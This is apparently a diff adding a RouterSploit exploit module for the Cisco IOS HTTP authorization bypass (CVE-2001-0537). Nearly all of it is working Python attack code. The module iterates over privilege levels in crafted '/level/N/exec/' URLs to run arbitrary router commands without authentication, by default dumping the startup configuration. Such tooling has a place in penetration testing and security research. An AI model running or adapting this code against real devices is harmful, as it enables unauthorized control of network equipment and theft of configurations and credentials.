Cisco http ios authorization bypass

Exploit for the Cisco http ios authorization bug.

routersploit/modules/exploits/cisco/cisco_ios_http_authorization_bypass.py

+from routersploit import (
+    exploits,
+    print_success,
+    print_error,
+    print_info,
+    http_request,
+    mute,
+    validators,
+)
+
+class Exploit(exploits.Exploit):
+	"""
+	This exploit targets a vulnerability in the Cisco IOS HTTP Server.
+	By sending a GET request for the url  "http://ip_address/level/{num}/exec/..",
+	it is possible to bypass authentication and execute any command. 
+	Example: http://10.0.0.1/level/99/exec/show/startup/config  
+	"""
+	__info__ = {
+		'name': 'Cisco IOS HTTP Unauthorized Administrative Access',
+		'description': 'HTTP server for Cisco IOS 11.3 to 12.2 allows attackers '
+						'to bypass authentication and execute arbitrary commands, '
+						'when local authorization is being used, by specifying a high access level in the URL.',
+		'authors': [
+			'Author', 'Renos Stoikos rstoikos[at]gmail.com'# routesploit module
+		],
+		'references': [
+			'http://www.cvedetails.com/cve/cve-2001-0537',
+		],
+		'devices': [
+			' IOS 11.3 -> 12.2 are reportedly vulnerable.',
+		],
+	}
+
+	target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url) # target address
+	port = exploits.Option(80, 'Target port') # default port
+	show_command = exploits.Option('show startup-config', 'Command to be executed e.g show startup-config')
+	
+	def check(self):
+		for num in range(16, 100):
+			url = "{}:{}/level/{}/exec/-/{}".format(self.target, self.port, num, self.show_command)
+			response = http_request(method="GET", url=url)
+			if response.status_code == 200:
+				return True  # target is vulnerable
+			elif response is None:
+				return False  # target is not vulnerable
+		return False  # target is not vulnerable
+			
+	def run(self):
+		for num in range(16, 100):
+			url = "{}:{}/level/{}/exec/-/{}".format(self.target, self.port, num, self.show_command)
+			response = http_request(method="GET", url=url)
+			if response is None:
+				return False  # target is not vulnerable
+			elif response.status_code == 200:
+				print_success("Exploit success! - executing command")
+				print_info(response.text)
+				break
+			else:
+				print_error("Exploit failed - could not execute command for level",num)